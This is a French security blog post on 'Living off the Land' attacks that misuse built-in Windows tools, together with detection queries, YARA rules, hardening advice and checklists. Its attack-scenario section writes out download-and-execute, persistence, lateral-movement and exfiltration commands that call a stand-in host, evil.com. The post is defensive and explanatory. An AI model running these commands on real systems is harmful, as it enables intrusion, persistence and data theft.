Catégories

🔍 Licence d'Utilisation 🔍

Sauf mention contraire, le contenu de ce blog est sous licence CC BY-NC-ND 4.0.

© 2025 à 2042 Sébastien Gioria. Tous droits réservés.

Les attaquants utilisent de plus en plus vos propres outils système légitimes pour mener leurs attaques. Cette technique “Living off the Land” (LotL) permet d’éviter la détection en exploitant PowerShell, WMI, certutil, bitsadmin et autres binaires signés par Microsoft.

🎯 Objectif des attaquants : mener une attaque complète (reconnaissance, persistence, exfiltration, mouvement latéral) en utilisant uniquement des outils présents par défaut sur les systèmes cibles.

💡 Conseil : Les LOLBins sont des outils légitimes détournés. La détection doit se baser sur le contexte d’usage (qui, quand, comment) plutôt que sur la simple présence du binaire.

⚠️ Alerte : PowerShell est l’outil le plus utilisé dans les attaques Living off the Land. Son monitoring exhaustif (logging + AMSI) est indispensable dans tout environnement Windows.

🔍 Hunting tip : Cherchez les chaînes de processus inhabituelles : un processus bureautique (Word, Excel) qui lance cmd.exe ou PowerShell est souvent le signe d’une compromission.


🔎 Scénarios d’Attaque

1. Reconnaissance avec outils natifs

  • Vecteur : énumération avec net.exe, whoami.exe, tasklist.exe
  • Exploitation : découverte de l’environnement sans outils externes
  • Commandes :
    net user /domain
    net group "Domain Admins" /domain
    tasklist /svc
    ipconfig /all
    
  • Impact : cartographie complète du réseau et des privilèges

2. Téléchargement de payload via outils légitimes

  • Vecteur : bitsadmin, certutil, powershell pour télécharger du malware
  • Exploitation :
    bitsadmin /transfer myDownloadJob /download /priority normal
    "http://evil.com/payload.exe" "C:\temp\payload.exe"
      
    certutil -urlcache -split -f "http://evil.com/script.ps1" script.ps1
      
    powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')"
    
  • Impact : contournement des contrôles de téléchargement

3. Exécution de code via binaires signés (LOLBins)

  • Vecteur : détournement de binaires Microsoft légitimes
  • Exploitation :
    # Rundll32 pour exécuter du code
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://evil.com/script.sct")
      
    # Regsvr32 pour bypass Application Whitelisting
    regsvr32 /s /n /u /i:http://evil.com/script.sct scrobj.dll
      
    # MSBuild pour compiler et exécuter du code
    MSBuild.exe payload.csproj
    
  • Impact : exécution de code malveillant avec signature Microsoft

4. Persistence via tâches planifiées et WMI

  • Vecteur : schtasks.exe, wmic.exe pour créer de la persistence
  • Exploitation :
    schtasks /create /tn "SystemUpdate" /tr "powershell -WindowStyle hidden -c IEX..." /sc minute /mo 30
      
    wmic process call create "powershell -WindowStyle hidden -encodedcommand [BASE64]"
    
  • Impact : persistence indétectable avec outils système

5. Mouvement latéral avec PsExec-like

  • Vecteur : wmic, winrm pour exécution distante
  • Exploitation :
    wmic /node:target /user:domain\user /password:pass process call create "cmd.exe /c [COMMAND]"
      
    winrs -r:target -u:domain\user -p:pass cmd
    
  • Impact : propagation sans outils tiers sur le réseau

6. Exfiltration via outils de transfert légitimes

  • Vecteur : robocopy, xcopy, bitsadmin pour exfiltrer des données
  • Exploitation :
    robocopy "C:\SensitiveData" "\\attacker-server\share" /E /R:0 /W:0
      
    bitsadmin /transfer exfil /upload /priority high "C:\data.zip" "http://evil.com/upload.php"
    
  • Impact : exfiltration de données via canaux légitimes

🧪 Exemples d’Attaques Récentes (2020-2025)

Groupe APT/Malware LOLBins utilisés Technique Impact Référence
Lazarus Group PowerShell, WMIC, BITSAdmin Téléchargement payload, execution WMI Attaques supply chain, vol crypto CISA Advisory
APT29 (Cozy Bear) PowerShell, CertUtil, RegSvr32 Téléchargement via CertUtil, exec via RegSvr32 Compromission gov/entreprises Microsoft Threat Intelligence
FIN7 Group PowerShell, BITSAdmin, WScript Téléchargement BITSAdmin, scripts WScript Vol carte crédit, retail breaches FireEye Report
SolarWinds SUNBURST PowerShell, NetSH, TaskSched C2 via NetSH, persistence TaskSched Supply chain compromise majeur Microsoft Analysis

✅ Bonnes pratiques

🔐 Contrôle d’exécution et whitelisting

Application Control

  • Windows Defender Application Control (WDAC) : politique restrictive sur binaires autorisés
  • Device Guard : protection kernel-mode et user-mode
  • AppLocker : contrôle granulaire des exécutables, scripts, DLLs
  • Software Restriction Policies : pour environnements legacy

Script Control

  • PowerShell Execution Policy : Restricted/AllSigned sur tous les postes
  • PowerShell Constrained Language Mode : limitation des cmdlets disponibles
  • Script Block Logging : enregistrement de tous les scripts PowerShell
  • Antimalware Scan Interface (AMSI) : inspection des scripts avant exécution

Signature Verification

  • Code Signing enforcement : uniquement les binaires signés par CA approuvées
  • Catalog signing : vérification des hashes de fichiers système
  • SmartScreen : protection contre téléchargements malveillants
  • Control Flow Guard (CFG) : protection contre corruption mémoire

🛡️ Monitoring et détection

PowerShell Monitoring

  • PowerShell Script Block Logging (Event ID 4104) : tous les scripts exécutés
  • PowerShell Module Logging (Event ID 4103) : cmdlets invoquées
  • PowerShell Transcription : enregistrement complet des sessions
  • SIEM Rules : détection de patterns suspects :
    # Téléchargements PowerShell suspects
    powershell.*DownloadString
    powershell.*WebClient
    powershell.*Invoke-WebRequest
      
    # Exécution de code en mémoire
    powershell.*IEX
    powershell.*Invoke-Expression
    powershell.*EncodedCommand
    

Process Monitoring

  • Sysmon : logging détaillé des créations de processus
  • Windows Event Log : Security Event ID 4688 (Process Creation)
  • EDR Solutions : Behavioral analysis des processus
  • Parent-Child Process Analysis : détection de chaînes suspectes
    cmd.exe -> powershell.exe -> regsvr32.exe
    winword.exe -> cmd.exe -> bitsadmin.exe
    outlook.exe -> powershell.exe -> certutil.exe
    

Network Monitoring

  • DNS Monitoring : requêtes DNS inhabituelles depuis binaires système
  • HTTP/HTTPS Traffic Analysis : connexions depuis certutil, bitsadmin
  • Beacon Detection : communications C2 régulières
  • Data Exfiltration Detection : volumes de transfert anormaux

Registry & File System

  • Registry Monitoring : créations de clés de persistence
  • File System Monitoring : créations de fichiers dans %TEMP%, %APPDATA%
  • Scheduled Tasks Monitoring : nouvelles tâches créées
  • WMI Event Monitoring : souscriptions WMI persistantes

👁️ Hunting et investigation

Hunt Queries (KQL/Splunk)

// PowerShell avec téléchargements
SecurityEvent
| where EventID == 4688
| where Process contains "powershell.exe"
| where CommandLine contains "DownloadString" or CommandLine contains "WebClient"

// LOLBins suspects avec arguments de téléchargement
SecurityEvent
| where EventID == 4688
| where Process in ("certutil.exe", "bitsadmin.exe", "regsvr32.exe")
| where CommandLine contains "http" or CommandLine contains "ftp"

// Chaînes de processus suspectes
SecurityEvent
| where EventID == 4688
| extend ParentProcess = tostring(split(ParentProcessName, '\\')[-1])
| where ParentProcess in ("winword.exe", "excel.exe", "outlook.exe")
    and Process in ("cmd.exe", "powershell.exe", "wscript.exe")

Indicateurs de compromission (IOCs)

  • Commandes PowerShell encodées : -EncodedCommand [BASE64]
  • Téléchargements via binaires système : certutil -urlcache, bitsadmin /transfer
  • Exécution indirecte : rundll32 javascript:, regsvr32 /i:http
  • Persistence suspecte : schtasks avec PowerShell, WMI event consumers
  • Mouvement latéral : wmic /node, winrs avec credentials

YARA Rules

rule LOLBin_PowerShell_Download
{
    strings:
        $a1 = "powershell" nocase
        $a2 = "DownloadString" nocase
        $a3 = "WebClient" nocase
        $a4 = "IEX" nocase
    condition:
        $a1 and ($a2 or $a3) and $a4
}

rule LOLBin_Certutil_Download
{
    strings:
        $b1 = "certutil" nocase
        $b2 = "-urlcache" nocase
        $b3 = "-split" nocase
        $b4 = "http" nocase
    condition:
        $b1 and $b2 and $b4
}

🚨 Hardening et prévention

PowerShell Hardening

  • Constrained Language Mode : limitation des fonctionnalités disponibles
  • Just Enough Administration (JEA) : sessions PowerShell restreintes
  • Module Logging : traçabilité complète des cmdlets
  • Execution Policy : AllSigned ou Restricted sur tous les postes
  • AMSI Protection : détection de scripts malveillants

System Hardening

  • Disable unnecessary services : BITS si non utilisé, WinRM si non nécessaire
  • Remove/Rename LOLBins : certutil, bitsadmin si usage non justifié
  • Path restrictions : limiter l’accès aux binaires système sensibles
  • User Account Control (UAC) : Always Notify pour limiter élévations

Network Controls

  • Proxy/Web Filtering : bloquer téléchargements depuis outils système
  • DNS Filtering : blocage de domaines malveillants
  • Application Layer Gateway : inspection des protocoles applicatifs
  • Microsegmentation : limitation des communications inter-postes

🛠️ Outils & Solutions

Détection et monitoring

  • Microsoft Defender for Endpoint : détection comportementale avancée
  • CrowdStrike Falcon : hunt et détection LOLBins
  • SentinelOne : behavioral AI pour détecter les techniques LotL
  • Carbon Black : monitoring de processus et détection d’anomalies
  • Sysmon (Microsoft) : logging détaillé des événements système

SIEM et Analytics

  • Microsoft Sentinel : analytics pré-configurées pour LOLBins
  • Splunk : règles de détection PowerShell et processus suspects
  • Elastic Security : détection de techniques MITRE ATT&CK
  • IBM QRadar : corrélation d’événements système

Application Control

  • Microsoft WDAC : Device Guard et Application Control
  • Symantec Application Control : whitelisting d’applications
  • McAfee Application Control : contrôle granulaire d’exécution
  • Airlock Digital : application whitelisting enterprise

Threat Hunting

  • MITRE ATT&CK Navigator : mapping des techniques LOLBins
  • Sigma Rules : règles de détection standardisées
  • Velociraptor : DFIR et hunt sur endpoints
  • GRR (Google Rapid Response) : investigation à distance

📋 Checklist de sécurisation

✅ Immédiat

  • Activer PowerShell Script Block Logging sur tous les postes
  • Configurer Execution Policy à AllSigned/Restricted
  • Déployer Sysmon avec configuration complète
  • Identifier tous les LOLBins présents dans l’environnement
  • Créer des règles SIEM de base pour PowerShell suspects

✅ Court terme

  • Implémenter PowerShell Constrained Language Mode
  • Activer Windows Defender Application Control (WDAC)
  • Déployer AMSI pour la protection des scripts
  • Créer des règles de détection pour chaînes de processus suspectes
  • Monitoring des téléchargements via certutil/bitsadmin
  • Formation équipe SOC sur techniques LOLBins

✅ Moyen terme

  • Déployer une solution EDR avec détection comportementale
  • Implémenter Just Enough Administration (JEA)
  • Créer des playbooks d’investigation pour techniques LotL
  • Développer des hunt queries personnalisées
  • Audit et hardening des binaires système sensibles
  • Tests red team simulant des attaques LOLBins
  • Mise en place de proxy/filtrage web pour bloquer téléchargements

✅ Long terme

  • Architecture Zero Trust avec microsegmentation
  • Programme de threat hunting continu sur techniques LotL
  • Développement de signatures YARA personnalisées
  • Certification équipe sur MITRE ATT&CK et techniques LotL
  • Revue et optimisation des contrôles Application Control
  • Exercices de simulation d’incident basés sur LOLBins
  • Veille continue sur nouvelles techniques Living off the Land
  • Contribution à la base LOLBAS (LOLBins and Scripts)

🔗 Ressources complémentaires

Bases de données et références

Outils de détection et règles

Outils open source